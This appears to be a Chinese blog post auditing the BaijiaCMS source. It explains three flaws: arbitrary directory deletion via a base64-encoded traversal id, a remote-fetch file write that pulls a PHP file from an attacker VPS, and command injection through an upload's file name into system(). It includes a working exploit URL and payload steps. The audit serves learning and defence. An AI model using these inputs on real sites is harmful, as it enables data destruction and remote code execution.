中午在先知上看到篇百家cms的代码审计,不是很难,适合我这种菜🐶
参考:https://xz.aliyun.com/t/9955#toc-0
源码下载:https://gitee.com/openbaijia/baijiacms.git
任意目录删除
漏洞点位于:includes/baijiacms/common.inc.php
首先关注的是unlink函数,他会删除文件,只要$path
不是目录就会进入改分支。
但如果你是目录呢,会对目录中非.
、..
、qrcode
的文件内循环一次,就是会删除文件
循环了一次退出来还会判断改目录是否是/cache
目录,不是的话直接删除目录。
综上,因为$path
来自于参数,会发现有可能可以实现 “任意” 文件的删除,也包括删除目录
全局搜索,位于system/manager/class/web/database.php
的一处调用了rmdirs
函数,且发现$_GP['id']
可控,也就是整个参数路径可控,但只有通过is_dir()
才可以调用,因此可以实现任意目录的删除了。
此外这段代码可以猜出是数据文件的备份删除功能
$_GP
是三个数组的整合,故$_GP['id']
也能通过GET、POST请求得到
利用
功能点位置:
在网站根目录下新建一个DMIND文件夹,里面放1.txt文件测试
抓包并在id字段修改成../../DMIND
的base64
编码形式。最后返回200,查看本地,确实整个目录删除
远程文件上传
该漏洞由于调用file_put_contents
函数但未对文件名或文件内容做任何过滤操作而造成的。位于includes/baijiacms/common.inc.php
后缀是通过pathinfo()
得到的,然后直接将其拼接进$extpath
中,然后拼接成一个文件名,文件后缀则取决于url
的文件后缀
文件内容则是直接来自file_get_contents($url)
全局搜索,只有一个地方调用了fetch_net_file_upload
函数。位于system/public/class/web/file.php
。
只需要令do=fetch
即可,且url
可通过GET
传递,那么完全可以通过url指定获取远程文件的内容
利用
首先在VPS上写个php文件,执行的命令是echo "<?php echo'<?php phpinfo();?>';?>">1.php
最后只需要构造调用,当然,这里的目录文件的构造我还是有点懵的…
http://127.0.0.1/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://x.x.x.x/1.php
访问即可得到生成文件的信息
再访问:
命令执行
没有对相应的参数进行过滤而直接使用。位于includes/baijiacms/common.inc.php
的file_save()
中,其中有个system函数,而$file_full_path
来自于该调用该函数的参数,那么可以猜想使用命令分隔符即可执行到命令了。
全局搜索,发现system/weixin/class/web/setting.php
调用了file_save()
,这个$file['name']
来自于一个上传文件的名称。可控
利用
首先在附件中有个开启选项,选择此选项,否则在file_save()
中会执行不下去
在微信号的设置中上传并提交,抓包并在文件名中命令注入
总结
1、知道漏洞在某个文件中触发,但如何构造合适的URL使得能够访问此文件,感觉这个跟一些URL访问规则有关,但有些CMS比如百家CMS就没有对应的手册,理解起来还是比较花时间…
2、已知某个变量,但如何在cms中找到对应控制的东西,这个目前我就是全局搜关键字,但有时也不好找…